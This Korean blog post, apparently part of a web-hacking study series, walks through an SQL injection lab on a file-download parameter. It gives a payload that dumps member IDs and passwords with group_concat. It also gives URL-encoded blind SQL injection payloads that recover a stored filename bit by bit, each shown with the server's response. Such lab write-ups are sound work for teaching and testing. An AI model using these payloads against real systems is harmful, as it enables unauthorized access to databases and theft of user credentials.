Oh! JUN
SQL Injection을 통한 데이터 조회 공격 실습 본문
지난 시간에 이어서 이번에는 데이터 조회 공격 실습
org_filename에 사용자가 지정한 파일 이름이 출력된다고 했다.
이걸 활용해서 SQL injection 공격이 가능하다.
그림 참고하면
org_filename 파라미터에 select group_concat(id, '###', password, ',,') from members 쿼리가 들어가서
members 테이블의 id, password 컬럼을 그룹핑해서 한번에 구할 수 있게 했다.
real_filename에는 지난시간처럼 실질적인 파일 다운로드 경로를 설정해줬다.
여기서 잠깐 만약 real_filename을 모른다면 어떻게 해야될까?
blind-sql 인젝션을 통해서 구해주면된다.
org_filename 데이터 구하기 | ||
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%261%3d1 | 파일 다운로드 (1) | org_filename : c□□□□... |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%262%3d2 | 파일 다운로드 (1) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%264%3d4 | 파일이 존재하지 않습니다. (0) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%268%3d8 | 파일이 존재하지 않습니다. (0) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%2616%3d16 | 파일이 존재하지 않습니다. (0) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%2632%3d32 | 파일 다운로드 (1) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%2664%3d64 | 파일 다운로드 (1) | |
1+and+ascii(substring((select+real_filename+from+file_list+limit+0,1),1,1))%26128%3d128 | 파일이 존재하지 않습니다. (0) |
이런식으로 구하면된다...
그래서 구한 org_filename으로 다시한번 해보면 정상적으로 확인할 수 있다.
'웹 해킹 > SQL Injection' 카테고리의 다른 글
7) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.10.12 |
---|---|
6) 보안 솔루션 및 입력 값 검증 우회 기법 (0) | 2022.10.09 |
SQL Injection을 통한 파일 다운로드 취약점 공격 실습 (0) | 2022.10.02 |
INSERT, UPDATE, DELETE 구문에 대한 데이터 조회 공격 기법 (0) | 2022.10.01 |
그룹핑을 활용한 데이터 조회 공격 (0) | 2022.09.29 |